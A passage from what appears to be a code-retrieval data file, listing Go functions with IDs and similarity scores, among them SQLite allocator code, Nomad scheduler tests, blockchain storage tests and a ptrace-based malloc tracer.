_3\n\t}\n\n\treturn null\n\n_3:\n\t_nOld = _110sqlite3MallocSize(tls, _pOld)\n\t_nNew = fn50(*(*uintptr)(unsafe.Pointer((_29sqlite3Config + 44) + 16)))(tls, int32(_nBytes))\n\tif _nOld != _nNew {\n\t\tgoto _4\n\t}\n\n\t_pNew = _pOld\n\tgoto _5\n\n_4:\n\tif (*(*int32)(unsafe.Pointer(_29sqlite3Config))) == 0 {\n\t\tgoto _6\n\t}\n\n\tXsqlite3_mutex_enter(tls, *(*uintptr)(unsafe.Pointer(_108mem0)))\n\t_437sqlite3StatusHighwater(tls, int32(5), int32(_nBytes))\n\t_nDiff = _nNew - _nOld\n\tif _nDiff <= int32(0) || _438sqlite3StatusValue(tls, int32(0)) < ((*(*Tsqlite3_int64)(unsafe.Pointer(_108mem0 + 4)))-Tsqlite3_int64(_nDiff)) {\n\t\tgoto _8\n\t}\n\n\t_439sqlite3MallocAlarm(tls, _nDiff)\n_8:\n\t_pNew = fn53(*(*uintptr)(unsafe.Pointer((_29sqlite3Config + 44) + 8)))(tls, _pOld, _nNew)\n\tif _pNew != 0 || (*(*Tsqlite3_int64)(unsafe.Pointer(_108mem0 + 4))) <= Tsqlite3_int64(0) {\n\t\tgoto _9\n\t}\n\n\t_439sqlite3MallocAlarm(tls, int32(_nBytes))\n\t_pNew = fn53(*(*uintptr)(unsafe.Pointer((_29sqlite3Config + 44) + 8)))(tls, _pOld, _nNew)\n_9:\n\tif _pNew == 0 {\n\t\tgoto _10\n\t}\n\n\t_nNew = _110sqlite3MallocSize(tls, _pNew)\n\t_440sqlite3StatusUp(tls, int32(0), _nNew-_nOld)\n_10:\n\tXsqlite3_mutex_leave(tls, *(*uintptr)(unsafe.Pointer(_108mem0)))\n\tgoto _7\n\n_6:\n\t_pNew = fn53(*(*uintptr)(unsafe.Pointer((_29sqlite3Config + 44) + 8)))(tls, _pOld, _nNew)\n_7:\n_5:\n\treturn _pNew\n}", "title": "" }, { "docid": "d30fac99d3d9a7201ebb976d425e399b", "score": "0.4631594", "text": "func _397mallocWithAlarm(tls *crt.TLS, _n int32, _pp uintptr /* *uintptr */) {\n\tvar (\n\t\t_p uintptr // uintptr\n\t\t_nFull int32\n\t\t_nUsed Tsqlite3_int64\n\t)\n\n\t_nFull = fn50(*(*uintptr)(unsafe.Pointer((_29sqlite3Config + 44) + 16)))(tls, _n)\n\t_437sqlite3StatusHighwater(tls, int32(5), _n)\n\tif (*(*Tsqlite3_int64)(unsafe.Pointer(_108mem0 + 4))) <= Tsqlite3_int64(0) {\n\t\tgoto _1\n\t}\n\n\t_nUsed = _438sqlite3StatusValue(tls, int32(0))\n\tif _nUsed < ((*(*Tsqlite3_int64)(unsafe.Pointer(_108mem0 + 4))) - Tsqlite3_int64(_nFull)) {\n\t\tgoto _2\n\t}\n\n\t*(*int32)(unsafe.Pointer(_108mem0 + 12)) = int32(1)\n\t_439sqlite3MallocAlarm(tls, _nFull)\n\tgoto _3\n\n_2:\n\t*(*int32)(unsafe.Pointer(_108mem0 + 12)) = int32(0)\n_3:\n_1:\n\t_p = fn17(*(*uintptr)(unsafe.Pointer(_29sqlite3Config + 44)))(tls, _nFull)\n\tif _p == 0 {\n\t\tgoto _4\n\t}\n\n\t_nFull = _110sqlite3MallocSize(tls, _p)\n\t_440sqlite3StatusUp(tls, int32(0), _nFull)\n\t_440sqlite3StatusUp(tls, int32(9), int32(1))\n_4:\n\t*(*uintptr)(unsafe.Pointer(_pp)) = _p\n}", "title": "" }, { "docid": "d546b8dad5882b7d1170fd580dc5a287", "score": "0.46180806", "text": "func requireOvercommit(t *testing.T) {\n\tt.Helper()\n\n\tovercommit.Once.Do(func() {\n\t\tvar out []byte\n\t\tout, overcommit.err = os.ReadFile(\"/proc/sys/vm/overcommit_memory\")\n\t\tif overcommit.err != nil {\n\t\t\treturn\n\t\t}\n\t\tovercommit.value, overcommit.err = strconv.Atoi(string(bytes.TrimSpace(out)))\n\t})\n\n\tif overcommit.err != nil {\n\t\tt.Skipf(\"couldn't determine vm.overcommit_memory (%v); assuming no overcommit\", overcommit.err)\n\t}\n\tif overcommit.value == 2 {\n\t\tt.Skip(\"vm.overcommit_memory=2\")\n\t}\n}", "title": "" }, { "docid": "1635bb79824c7fdfe8a3997e23a8e0da", "score": "0.4616405", "text": "func _1057pcache1Alloc(tls *crt.TLS, _nByte int32) (r uintptr) {\n\tvar (\n\t\t_p uintptr // uintptr\n\t\t_sz int32\n\t)\n\t_p = 0\n\n\tif _nByte > (*(*int32)(unsafe.Pointer(_277pcache1_g + 64))) {\n\t\tgoto _1\n\t}\n\n\tXsqlite3_mutex_enter(tls, *(*uintptr)(unsafe.Pointer(_277pcache1_g + 84)))\n\t_p = *(*uintptr)(unsafe.Pointer(_277pcache1_g + 88))\n\tif _p == 0 {\n\t\tgoto _2\n\t}\n\n\t*(*uintptr)(unsafe.Pointer(_277pcache1_g + 88)) = *(*uintptr)(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(_277pcache1_g + 88))))\n\t(*(*int32)(unsafe.Pointer(_277pcache1_g + 92)))--\n\t*(*int32)(unsafe.Pointer(_277pcache1_g + 96)) = int32(0)\n\n\t_437sqlite3StatusHighwater(tls, int32(7), _nByte)\n\t_440sqlite3StatusUp(tls, int32(1), int32(1))\n_2:\n\tXsqlite3_mutex_leave(tls, *(*uintptr)(unsafe.Pointer(_277pcache1_g + 84)))\n_1:\n\tif _p != 0 {\n\t\tgoto _3\n\t}\n\n\t_p = _200sqlite3Malloc(tls, uint64(_nByte))\n\tif _p == 0 {\n\t\tgoto _4\n\t}\n\n\t_sz = _110sqlite3MallocSize(tls, _p)\n\tXsqlite3_mutex_enter(tls, *(*uintptr)(unsafe.Pointer(_277pcache1_g + 84)))\n\t_437sqlite3StatusHighwater(tls, int32(7), _nByte)\n\t_440sqlite3StatusUp(tls, int32(2), _sz)\n\tXsqlite3_mutex_leave(tls, *(*uintptr)(unsafe.Pointer(_277pcache1_g + 84)))\n_4:\n_3:\n\treturn _p\n}", "title": "" }, { "docid": "0fb5bdaad56c630fbd6709c6502825ac", "score": "0.46133927", "text": "func TestReconciler_DeploymentWithFailedAllocs_DontReschedule(t *testing.T) {\n\tjob := mock.Job()\n\tjob.TaskGroups[0].Update = noCanaryUpdate\n\ttgName := job.TaskGroups[0].Name\n\tnow := time.Now()\n\n\t// Mock deployment with failed allocs, but deployment watcher hasn't marked it as failed yet\n\td := structs.NewDeployment(job)\n\td.Status = structs.DeploymentStatusRunning\n\td.TaskGroups[job.TaskGroups[0].Name] = &structs.DeploymentState{\n\t\tPromoted: false,\n\t\tDesiredTotal: 5,\n\t\tPlacedAllocs: 4,\n\t}\n\n\t// Create 4 allocations and mark two as failed\n\tvar allocs []*structs.Allocation\n\tfor i := 0; i < 4; i++ {\n\t\talloc := mock.Alloc()\n\t\talloc.Job = job\n\t\talloc.JobID = job.ID\n\t\talloc.NodeID = uuid.Generate()\n\t\talloc.Name = structs.AllocName(job.ID, job.TaskGroups[0].Name, uint(i))\n\t\talloc.TaskGroup = job.TaskGroups[0].Name\n\t\talloc.DeploymentID = d.ID\n\t\tallocs = append(allocs, alloc)\n\t}\n\n\t// Create allocs that are reschedulable now\n\tallocs[2].ClientStatus = structs.AllocClientStatusFailed\n\tallocs[2].TaskStates = map[string]*structs.TaskState{tgName: {State: \"start\",\n\t\tStartedAt: now.Add(-1 * time.Hour),\n\t\tFinishedAt: now.Add(-10 * time.Second)}}\n\n\tallocs[3].ClientStatus = structs.AllocClientStatusFailed\n\tallocs[3].TaskStates = map[string]*structs.TaskState{tgName: {State: \"start\",\n\t\tStartedAt: now.Add(-1 * time.Hour),\n\t\tFinishedAt: now.Add(-10 * time.Second)}}\n\n\treconciler := NewAllocReconciler(testLogger(), allocUpdateFnDestructive, false, job.ID, job, d, allocs, nil, \"\")\n\tr := reconciler.Compute()\n\n\t// Assert that no rescheduled placements were created\n\tassertResults(t, r, &resultExpectation{\n\t\tplace: 0,\n\t\tcreateDeployment: nil,\n\t\tdeploymentUpdates: nil,\n\t\tdesiredTGUpdates: map[string]*structs.DesiredUpdates{\n\t\t\tjob.TaskGroups[0].Name: {\n\t\t\t\tIgnore: 2,\n\t\t\t},\n\t\t},\n\t})\n}", "title": "" }, { "docid": "126469bf90afbc847adc65f52778eb6b", "score": "0.46025947", "text": "func TestDistinctAllocations(t *testing.T) {\n\ti := setup(t, newDefaultConfig())\n\tassertAllocationOfAllIPAddresses(i, 4, expectedPodSubnetThisNode)\n\tassertCorrectIPExhaustion(i, 4)\n}", "title": "" }, { "docid": "f98e81fb4db613721e6074a84c54317b", "score": "0.45996726", "text": "func ErrInMem(err error) error {\n\treturn errors.New(ErrInMemCode, errors.Fatal, []string{\"InMem configuration initialization failed\"}, []string{}, []string{\"In memory map is crashing\"}, []string{\"Make sure map is configured properly\"})\n}", "title": "" }, { "docid": "408cf8246914809b12aad4680eba8529", "score": "0.45822674", "text": "func MustMarshalTo(pb PB, data []byte) int {\n\tn, err := pb.MarshalTo(data)\n\tif err != nil {\n\t\tbuf := make([]byte, 4096)\n\t\truntime.Stack(buf, true)\n\t\tlog.Fatalf(\"pb marshal failed, pb=<%v> errors:\\n %+v \\n %s\",\n\t\t\tpb,\n\t\t\terr,\n\t\t\tbuf)\n\t}\n\n\treturn n\n}", "title": "" }, { "docid": "886f7af6b643e2308b27130c1bf57c77", "score": "0.45640483", "text": "func Test_flow_no_challenge_responses_finalize(t *testing.T) {\n\tt.Skip(\"Assumes blobbers do not get a reward form finilizeAllocation\")\n\tvar (\n\t\tssc = newTestStorageSC()\n\t\tbalances = newTestBalances(t, false)\n\t\tclient = newClient(100*x10, balances)\n\t\ttp, exp = int64(0), int64(toSeconds(time.Hour))\n\t\tconf = setConfig(t, balances)\n\n\t\terr error\n\t)\n\n\tconf.FailedChallengesToCancel = 100\n\tconf.FailedChallengesToRevokeMinLock = 50\n\t_, err = balances.InsertTrieNode(scConfigKey(ssc.ID), conf)\n\trequire.NoError(t, err)\n\n\ttp += 100\n\tvar allocID, blobs = addAllocation(t, ssc, client, tp, exp, 0, balances)\n\n\tvar alloc *StorageAllocation\n\talloc, err = ssc.getAllocation(allocID, balances)\n\trequire.NoError(t, err)\n\n\trequire.EqualValues(t, 202546280, alloc.restMinLockDemand())\n\n\t// add 10 validators\n\tvar valids []*Client\n\ttp += 100\n\tfor i := 0; i < 10; i++ {\n\t\tvar valid = addValidator(t, ssc, tp, balances)\n\t\tvalids = append(valids, valid)\n\t\tbalances.balances[valid.id] = 0 // reset the balance\n\t}\n\n\t// reset all blobbers balances (blobber stakes itself)\n\tfor _, b := range blobs {\n\t\tbalances.balances[b.id] = 0 // reset the balance\n\t}\n\n\tvar wp *writePool\n\twp, err = ssc.getWritePool(client.id, balances)\n\trequire.NoError(t, err)\n\tvar wps = wp.allocUntil(alloc.ID, alloc.Until())\n\n\tt.Run(\"challenges without a response\", func(t *testing.T) {\n\n\t\tconst allocRoot = \"alloc-root-1\"\n\n\t\ttp += 10\n\n\t\tfor _, b := range blobs {\n\t\t\tif !isAllocBlobber(b.id, alloc) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// write 100 MB\n\t\t\tvar cc = &BlobberCloseConnection{\n\t\t\t\tAllocationRoot: allocRoot,\n\t\t\t\tPrevAllocationRoot: \"\",\n\t\t\t\tWriteMarker: &WriteMarker{\n\t\t\t\t\tAllocationRoot: allocRoot,\n\t\t\t\t\tPreviousAllocationRoot: \"\",\n\t\t\t\t\tAllocationID: allocID,\n\t\t\t\t\tSize: 100 * 1024 * 1024, // 100 MB\n\t\t\t\t\tBlobberID: b.id,\n\t\t\t\t\tTimestamp: common.Timestamp(tp),\n\t\t\t\t\tClientID: client.id,\n\t\t\t\t},\n\t\t\t}\n\t\t\tcc.WriteMarker.Signature, err = client.scheme.Sign(\n\t\t\t\tencryption.Hash(cc.WriteMarker.GetHashData()))\n\t\t\trequire.NoError(t, err)\n\t\t\t// write\n\t\t\tvar tx = newTransaction(b.id, ssc.ID, 0, tp)\n\t\t\tbalances.setTransaction(t, tx)\n\t\t\tvar resp string\n\t\t\tresp, err = ssc.commitBlobberConnection(tx, mustEncode(t, &cc),\n\t\t\t\tbalances)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotZero(t, resp)\n\t\t}\n\n\t\t// balances\n\t\tvar cp *challengePool\n\t\tcp, err = ssc.getChallengePool(allocID, balances)\n\t\trequire.NoError(t, err)\n\n\t\tvar wp *writePool\n\t\twp, err = ssc.getWritePool(client.id, balances)\n\t\trequire.NoError(t, err)\n\n\t\t// offer balance, stake pool total balance\n\t\tfor _, b := range blobs {\n\t\t\tif !isAllocBlobber(b.id, alloc) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar sp *stakePool\n\t\t\tsp, err = ssc.getStakePool(b.id, balances)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tvar offer = sp.findOffer(allocID)\n\t\t\trequire.NotNil(t, offer)\n\t\t\trequire.EqualValues(t, 10e10, stakePoolTotal(sp))\n\t\t\trequire.EqualValues(t, 5000000027, offer.Lock)\n\t\t}\n\n\t\t// values before\n\t\tvar (\n\t\t\twpb = wp.allocUntil(alloc.ID, alloc.Until())\n\t\t\tcpb = cp.Balance\n\t\t)\n\n\t\trequire.EqualValues(t, wps, wpb+cpb)\n\n\t\t// until the end\n\t\talloc, err = ssc.getAllocation(allocID, balances)\n\t\trequire.NoError(t, err)\n\n\t\t// load validators\n\t\tvar validators *ValidatorNodes\n\t\tvalidators, err = ssc.getValidatorsList(balances)\n\t\trequire.NoError(t, err)\n\n\t\t// ---------------\n\n\t\ttp += 10\n\n\t\tvar gfc int\n\n\t\t// generate challenges leaving them without a response\n\t\t// (don't got the 'failed challenges to revoke min lock')\n\t\tfor i := int64(0); i < 2; i++ {\n\t\t\tfor _, b := range blobs {\n\t\t\t\tif !isAllocBlobber(b.id, alloc) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// load blobber\n\t\t\t\tvar blobber *StorageNode\n\t\t\t\tblobber, err = ssc.getBlobber(b.id, balances)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tvar challID, prevID string\n\t\t\t\tchallID = fmt.Sprintf(\"chall-%s-%d\", b.id, i)\n\t\t\t\tif i > 0 {\n\t\t\t\t\tprevID = fmt.Sprintf(\"chall-%s-%d\", b.id, i-1)\n\t\t\t\t}\n\t\t\t\tgenChall(t, ssc, b.id, tp, prevID, challID, i,\n\t\t\t\t\tvalidators.Nodes, alloc.ID, blobber, allocRoot, balances)\n\t\t\t\tgfc++\n\t\t\t}\n\t\t}\n\n\t\t// let expire all the challenges\n\t\ttp += int64(toSeconds(avgTerms.ChallengeCompletionTime))\n\n\t\t// add open challenges to allocation stats\n\t\talloc, err = ssc.getAllocation(allocID, balances)\n\t\trequire.NoError(t, err)\n\t\tif alloc.Stats == nil {\n\t\t\talloc.Stats = new(StorageAllocationStats)\n\t\t}\n\t\talloc.Stats.OpenChallenges = 50 // just a non-zero number\n\t\t_, err = balances.InsertTrieNode(alloc.GetKey(ssc.ID), alloc)\n\t\trequire.NoError(t, err)\n\n\t\ttp += exp // expire the allocation\n\n\t\tvar req lockRequest\n\t\treq.AllocationID = allocID\n\n\t\tvar tx = newTransaction(client.id, ssc.ID, 0, tp)\n\t\tbalances.setTransaction(t, tx)\n\t\t_, err = ssc.finalizeAllocation(tx, mustEncode(t, &req), balances)\n\t\trequire.NoError(t, err)\n\n\t\talloc, err = ssc.getAllocation(allocID, balances)\n\t\trequire.NoError(t, err)\n\n\t\t// check out pools, blobbers, validators balances\n\t\twp, err = ssc.getWritePool(client.id, balances)\n\t\trequire.NoError(t, err)\n\n\t\t// challenge pool should be empty\n\t\tcp, err = ssc.getChallengePool(allocID, balances)\n\t\trequire.NoError(t, err)\n\t\tassert.Zero(t, cp.Balance)\n\n\t\t// offer balance, stake pool total balance\n\t\tfor _, b := range blobs {\n\t\t\tif !isAllocBlobber(b.id, alloc) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar sp *stakePool\n\t\t\tsp, err = ssc.getStakePool(b.id, balances)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Nil(t, sp.findOffer(allocID)) // no offers expected\n\t\t\trequire.EqualValues(t, 10e10, stakePoolTotal(sp))\n\t\t}\n\n\t\t// values before\n\t\tvar (\n\t\t\twpa = wp.allocUntil(alloc.ID, alloc.Until())\n\t\t\tcpa = cp.Balance\n\t\t)\n\n\t\trequire.Zero(t, cpa)\n\t\trequire.EqualValues(t, wpa, wps)\n\t\trequire.EqualValues(t, wps, wp.Pools.gimmeAll())\n\n\t\trequire.Equal(t, alloc.MovedBack, cpb)\n\n\t\t// no rewards for the blobber\n\t\tfor _, b := range blobs {\n\t\t\tif !isAllocBlobber(b.id, alloc) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tassert.Zero(t, balances.balances[b.id])\n\t\t}\n\n\t\t// no rewards for validators\n\t\tfor _, val := range valids {\n\t\t\tvar vsp *stakePool\n\t\t\tvsp, err = ssc.getStakePool(val.id, balances)\n\t\t\trequire.NoError(t, err)\n\t\t\tassert.Zero(t, vsp.Rewards.Validator)\n\t\t\tassert.Zero(t, balances.balances[val.id])\n\t\t}\n\n\t})\n\n}", "title": "" }, { "docid": "155d32bad22ae7a6df988c2b2f8ec2f9", "score": "0.45599794", "text": "func TestAllocRunner_Restore_CompletedBatch(t *testing.T) {\n\tci.Parallel(t)\n\n\t// 1. Run task and wait for it to complete\n\t// 2. Start new alloc runner\n\t// 3. Assert task didn't run again\n\n\talloc := mock.Alloc()\n\talloc.Job.Type = structs.JobTypeBatch\n\ttask := alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config = map[string]interface{}{\n\t\t\"run_for\": \"2ms\",\n\t}\n\n\tconf, cleanup := testAllocRunnerConfig(t, alloc.Copy())\n\tdefer cleanup()\n\n\t// Maintain state for subsequent run\n\tconf.StateDB = state.NewMemDB(conf.Logger)\n\n\t// Start and wait for task to be running\n\tar, err := NewAllocRunner(conf)\n\trequire.NoError(t, err)\n\tgo ar.Run()\n\tdefer destroy(ar)\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\ts := ar.AllocState()\n\t\tif s.ClientStatus != structs.AllocClientStatusComplete {\n\t\t\treturn false, fmt.Errorf(\"expected complete, got %s\", s.ClientStatus)\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\trequire.NoError(t, err)\n\t})\n\n\t// once job finishes, it shouldn't run again\n\trequire.False(t, ar.shouldRun())\n\tinitialRunEvents := ar.AllocState().TaskStates[task.Name].Events\n\trequire.Len(t, initialRunEvents, 4)\n\n\tls, ts, err := conf.StateDB.GetTaskRunnerState(alloc.ID, task.Name)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ls)\n\trequire.Equal(t, structs.TaskStateDead, ts.State)\n\n\t// Start a new alloc runner and assert it gets stopped\n\tconf2, cleanup2 := testAllocRunnerConfig(t, alloc)\n\tdefer cleanup2()\n\n\t// Use original statedb to maintain hook state\n\tconf2.StateDB = conf.StateDB\n\n\t// Restore, start, and wait for task to be killed\n\tar2, err := NewAllocRunner(conf2)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, ar2.Restore())\n\n\tgo ar2.Run()\n\tdefer destroy(ar2)\n\n\t// AR waitCh must be open as the task waits for a possible alloc restart.\n\tselect {\n\tcase <-ar2.WaitCh():\n\t\trequire.Fail(t, \"alloc.waitCh was closed\")\n\tdefault:\n\t}\n\n\t// TR waitCh must be open too!\n\tselect {\n\tcase <-ar2.tasks[task.Name].WaitCh():\n\t\trequire.Fail(t, \"tr.waitCh was closed\")\n\tdefault:\n\t}\n\n\t// Assert that events are unmodified, which they would if task re-run\n\tevents := ar2.AllocState().TaskStates[task.Name].Events\n\trequire.Equal(t, initialRunEvents, events)\n}", "title": "" }, { "docid": "1b7d5b2721560e8c5829711c5dac7cdb", "score": "0.45596004", "text": "func TestFanGroupErr(t *testing.T) {\n\n\t// try to recover from panic\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Log(\"FanGroup size < 0 triggers error\")\n\t\t}\n\t}()\n\tNewGroup(-1)\n\n\t// should not have run till here\n\tt.Errorf(\"FanGroup size < 0 doesn't trigger error\")\n}", "title": "" }, { "docid": "19924e377ae7437396b2dc22b1934fdd", "score": "0.4557781", "text": "func Verify(code isa.Instructions) {\n\tverifyJumps(code)\n\tverifyStackSize(code)\n}", "title": "" }, { "docid": "862feef06e9383ccfeacd47e499cffe5", "score": "0.45477372", "text": "func (mat Mat) check() {\n\tif len(mat.m) == 0 {\n\t\tpanic(\"can't check uninitialised matrix\")\n\t}\n\n\tif len(mat.m) == 1 {\n\t\treturn\n\t}\n\n\tm := len(mat.m[0])\n\tfor i := range mat.m {\n\t\tif len(mat.m[i]) != m {\n\t\t\tpanic(\"inconsistent matrix size\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "575448624dd72d1eb525ea0b5282c226", "score": "0.45434967", "text": "func MustCalloc(size int) uintptr {\n\tp, err := Calloc(size)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"out of memory: %v\", err))\n\t}\n\n\treturn p\n}", "title": "" }, { "docid": "f1637bbd20b1e53734d3bf049290afe5", "score": "0.453308", "text": "func verify() {\n\tfor b := range counters {\n\t\tgot, index := count(b.line)\n\t\tif b.count == anything && got != 0 {\n\t\t\tgot = anything\n\t\t}\n\t\tif got != b.count {\n\t\t\tfmt.Fprintf(os.Stderr, \"test_go:%d expected count %d got %d [counter %d]\\n\", b.line, b.count, got, index)\n\t\t\tPASS = false\n\t\t}\n\t}\n\tverifyPanic()\n\tif !PASS {\n\t\tfmt.Fprintf(os.Stderr, \"FAIL\\n\")\n\t\tos.Exit(2)\n\t}\n}", "title": "" }, { "docid": "68529ce4757bf1c2f020ce8d05398c48", "score": "0.45318246", "text": "func AllocMemory() int64 {\n\treturn atomic.LoadInt64(&used)\n}", "title": "" }, { "docid": "06e53a9acc5857be48e6520339508c19", "score": "0.4529282", "text": "func (mgr *Mgr) CheckLifetime() (err error) {\n\tmgr.lock.Lock()\n\tdefer mgr.lock.Unlock()\n\tnow := time.Now()\n\n\tfor vrfIndex, vrf := range mgr.vrfs {\n\t\tcntSoft := 0\n\t\tcntHard := 0\n\t\tfor spi, sav := range vrf.sad {\n\t\t\tif sav.isSoftExpired(now) {\n\t\t\t\tcntSoft++\n\t\t\t\tif SadbExpire(vrfIndex, mgr.dir, spi, &sav, SoftLifetimeExpired) { // send SADB_EXPIRE(Soft)\n\t\t\t\t\t_, e := vrf.sad.softExpired(spi)\n\t\t\t\t\tif e == nil {\n\t\t\t\t\t\tlog.Logger.Info(\"softExpired SA-%v: %s\", mgr.dir, vrf.sad.logStringChanged(spi, sav.inStat))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Logger.Err(\"ERR: Failed post-softExpired op: %s\", e)\n\t\t\t\t\t\t// TBD error handle\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\terr = fmt.Errorf(\"Failed to send SADB_EXPIRE(soft): spi=%d\", spi)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif sav.isHardExpired(now) {\n\t\t\t\tcntHard++\n\t\t\t\tif SadbExpire(vrfIndex, mgr.dir, spi, &sav, HardLifetimeExpired) { // send SADB_EXPIRE(Hard)\n\t\t\t\t\t_, e := vrf.sad.hardExpired(spi)\n\t\t\t\t\tif e == nil {\n\t\t\t\t\t\tlog.Logger.Info(\"hardExpired SA-%v: %s\", mgr.dir, vrf.sad.logStringChanged(spi, sav.inStat))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Logger.Err(\"ERR: Failed post-hardExpired op: %s\", e)\n\t\t\t\t\t\t// TBD error handle\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\terr = fmt.Errorf(\"Failed to send SADB_EXPIRE(hard): spi=%d\", spi)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif cntSoft+cntHard > 0 {\n\t\t\tlog.Logger.Info(\"checked SADB-%v len:%d softExpired: %d hardExpired: %d\",\n\t\t\t\tmgr.dir, len(vrf.sad), cntSoft, cntHard)\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "bd910a304146f30837a903d8df5fd707", "score": "0.4524741", "text": "func (memStore *MemStore) CheckHealth() error {\n\treturn nil\n}", "title": "" }, { "docid": "3b1e2d16b36f2c49f15aca3a1964b3ec", "score": "0.4522374", "text": "func TestAllocRunner_DeploymentHealth_Unhealthy_Deadline(t *testing.T) {\n\tt.Parallel()\n\tassert := assert.New(t)\n\n\t// Ensure the task fails and restarts\n\tupd, ar := testAllocRunner(t, true)\n\n\t// Make the task block\n\ttask := ar.alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config[\"start_block_for\"] = \"4s\"\n\ttask.Config[\"run_for\"] = \"10s\"\n\n\t// Make the alloc be part of a deployment\n\tar.alloc.DeploymentID = uuid.Generate()\n\tar.alloc.Job.TaskGroups[0].Update = structs.DefaultUpdateStrategy.Copy()\n\tar.alloc.Job.TaskGroups[0].Update.HealthCheck = structs.UpdateStrategyHealthCheck_TaskStates\n\tar.alloc.Job.TaskGroups[0].Update.MaxParallel = 1\n\tar.alloc.Job.TaskGroups[0].Update.HealthyDeadline = 100 * time.Millisecond\n\n\tgo ar.Run()\n\tdefer ar.Destroy()\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tlast := upd.Last()\n\t\tif last == nil {\n\t\t\treturn false, fmt.Errorf(\"No updates\")\n\t\t}\n\t\tif !last.DeploymentStatus.HasHealth() {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got unset\")\n\t\t} else if *last.DeploymentStatus.Healthy {\n\t\t\treturn false, fmt.Errorf(\"want deployment status unhealthy; got healthy\")\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tt.Fatalf(\"err: %v\", err)\n\t})\n\n\t// Assert that we have an event explaining why we are unhealthy.\n\tassert.Len(ar.taskStates, 1)\n\tstate := ar.taskStates[task.Name]\n\tassert.NotNil(state)\n\tassert.NotEmpty(state.Events)\n\tlast := state.Events[len(state.Events)-1]\n\tassert.Equal(allocHealthEventSource, last.Type)\n\tassert.Contains(last.Message, \"not running by deadline\")\n}", "title": "" }, { "docid": "32c36ee0bd7b6956ca397de77d0069d4", "score": "0.45201528", "text": "func (rwl *readWriteLease) checkInvariants() {\n\t// Have we been dowgraded?\n\tif rwl.file == nil {\n\t\treturn\n\t}\n\n\t// INVARIANT: If fileSize >= 0, fileSize agrees with file.Stat()\n\tif rwl.fileSize >= 0 {\n\t\tfi, err := rwl.file.Stat()\n\t\tif err != nil {\n\t\t\tpanic(fmt.Sprintf(\"Failed to stat file: %v\", err))\n\t\t}\n\n\t\tif rwl.fileSize != fi.Size() {\n\t\t\tpanic(fmt.Sprintf(\"Size mismatch: %v vs. %v\", rwl.fileSize, fi.Size()))\n\t\t}\n\t}\n\n\t// INVARIANT: fileSize < 0 || fileSize == reportedSize\n\tif !(rwl.fileSize < 0 || rwl.fileSize == rwl.reportedSize) {\n\t\tpanic(fmt.Sprintf(\"Size mismatch: %v vs. %v\", rwl.fileSize, rwl.reportedSize))\n\t}\n}", "title": "" }, { "docid": "eef2291db5533d07e150d41156c879d3", "score": "0.45176083", "text": "func (p *Python) malloc(inferior *ptrace.Tracee, bp debug.Breakpoint) error {\n\tvar stk x86_64\n\t// set a bp back in the caller, so we can pull out the return address.\n\tretaddr := stk.RetAddr(inferior)\n\tif err := p.AddBP(inferior, retaddr, p.mallocret); err != nil {\n\t\treturn fmt.Errorf(\"cannot add mallocret bp@0x%x: %v\", retaddr, err)\n\t}\n\n\t// does that caller make sense? we don't care if glibc allocs memory.\n\t{\n\t\tsymbol, err := find_function(retaddr)\n\t\tif err != nil {\n\t\t\tpyc.Warn(\"can't find fqn from 0x%x: %v\", retaddr, err)\n\t\t} else {\n\t\t\tif !user_symbol(symbol.Name()) {\n\t\t\t\tpyc.Trace(\"Allocating memory in %s? We don't care.\", symbol.Name())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tpyc.Trace(\"bp when we return from %s\", symbol.Name())\n\t\t}\n\t}\n\n\t// record the length.\n\tfld := field{alloc: allocation{length: uint(stk.Arg1(inferior))},\n\t\tstate: stmalloc}\n\tif fld.alloc.length < globals.minsize {\n\t\treturn nil\n\t}\n\tfld.alloc.lpage = uint64(fld.alloc.length)\n\n\t// we don't want another variable using the same page, because then\n\t// we would not be able to discern which variable was accessed. so,\n\t// \"upgrade\" the size of the allocation so that it always ends on a\n\t// page boundary.\n\tif ((4096 - 1) & fld.alloc.length) != 0 {\n\t\tfld.alloc.lpage = uint64(int64(fld.alloc.length+4096) & ^(4096 - 1))\n\t\tinject.Trace(\"upgrading %d-byte allocation to %d bytes\\n\",\n\t\t\tuint(stk.Arg1(inferior)), fld.alloc.lpage)\n\t\tif err := stk.SetArg1(inferior, fld.alloc.lpage); err != nil {\n\t\t\treturn fmt.Errorf(\"error bumping %d-byte alloc up to %d bytes: %v\\n\",\n\t\t\t\tfld.alloc.length, fld.alloc.lpage, err)\n\t\t}\n\t}\n\n\t// we don't know the base address yet. make one up.\n\tp.fields[0x0] = fld\n\n\t// and finally jump to our special malloc instead of the standard one.\n\tif err := inferior.SetIPtr(p.tjfmalloc); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c0d243685262e07544bee916981b9a62", "score": "0.45150635", "text": "func (v *VirtletManager) 